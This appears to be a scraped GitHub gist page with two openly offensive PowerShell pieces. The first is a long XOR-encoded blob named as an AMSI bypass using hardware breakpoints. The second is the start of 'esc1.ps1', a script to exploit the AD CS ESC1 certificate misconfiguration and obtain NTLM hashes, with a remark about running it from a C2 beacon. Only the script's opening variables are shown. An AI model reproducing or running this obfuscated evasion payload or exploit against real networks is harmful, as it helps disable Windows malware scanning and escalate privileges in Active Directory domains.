This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $xor_amsi_hw_break = "HQQLHAJBOBEEFhcIWmEdBAscAkE4EQQWFwhPKAcbDhcGFQIHGRFcIgQFDQULEV5rHhseDBVFMhIbAwcfSy0CBgZMNx0RGQ0EERsKDxhTfRcBDA8MSCQbAREEBkY7CxwUWmEdBAscAkE4EQQWFwhPOR0ZFhsIBEUrGA8CDA0OGiQHABMICA0EWXgQEgIGEEIhHBIfDRpMPAAVUGICERsLBks7DhEGAAxFOhIEHgACHwEYDElvFBgBGQVSNhgYHBIPXDcUBRweDxdLKAUcEhAdFTIOGgELEQASUGJ9DBMIBBgYFgEXRTUOGwNoCW9BS0hXEgcHDQILVwEeBBIYSCcQHQITCgV9QlJFQRBiV0JSRUFLSFcRBgQVAgtXEQYXCAUPVwNSWEFJBQQLUF5rS0hXQlJFQUsbAwMGDAJLGwMQGwsGSwpXX1JHAAUqVVl4RUFLSFdCUkUSHwkDCxFFEh8aHgwVRQJLVVdAFANDUGJXQlJFQUtIVxEGBBUCC1cRBhcIBQ9XBlJYQUlGE0BJb0FLSFdCUkVBGBwWFhsGQSIGAzIGF0EpCQQHMwEFGQ0EEVJYQTwBGSMiLE8nBxYGPgwDGQkFG1pHAElIXEITRUpLDFdJUAkNSUFMaFJFQUtIV0JSFhUKHB4BUiwPHzgDEFIVICkdMUJPRTYCBjYyO0smDhwnEB0GIA8MBQcBFkkpCQQHMwEFGQ0EEV5FQypKV0lSBEFASFUxEUdBQEgVQllFQx5KV0lSBkFASFUHAEdIUGJXQlJFQUtIVxEGBBUCC1crHBExHxpXEjERGUtVVy8TFxIDCRtMMwkNBAs/JR4KAwoEXy8TFxIDCRtMIQwbDicRSgYcEQ4HEUolDA8qOD5MMSovPy0vNkRRSEJBTGhSRUFLSFdCUm9BS0hXQlJFQRsdFQ4bBkEYHBYWGwZBHQceBlIgGQ4LX0t4RUFLSFdCUkUaYWJXQlJFQUtIV0JSRUE8ARkjIixPKCc5Njc9NV1cVw |
An0nUD4Y
/ esc1.ps1
Created
October 17, 2023 16:17
— forked from b4cktr4ck2/esc1.ps1
PowerShell script to exploit ESC1/retrieve your own NTLM password hash.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #Thank you @NotMedic for troubleshooting/validating stuff! | |
| $password = Read-Host -Prompt "Enter Password" | |
| #^^ Feel free to hardcode this for running in a beacon/not retyping it all the time! | |
| $server = "admin" #This will just decide the name of the cert request files that are created. I didn't want to change the var name so it's server for now. | |
| $CERTPATH = "C:\Users\lowpriv\Desktop\" #Where do you want the cert requests to be stored? | |
| $CAFQDN = "dc01.alexlab.local" #hostname of underlying CA box. | |
| $CASERVER = "alexlab-dc01-ca" #CA name. | |
| $CA = $CAFQDN + "\" + $CASERVER |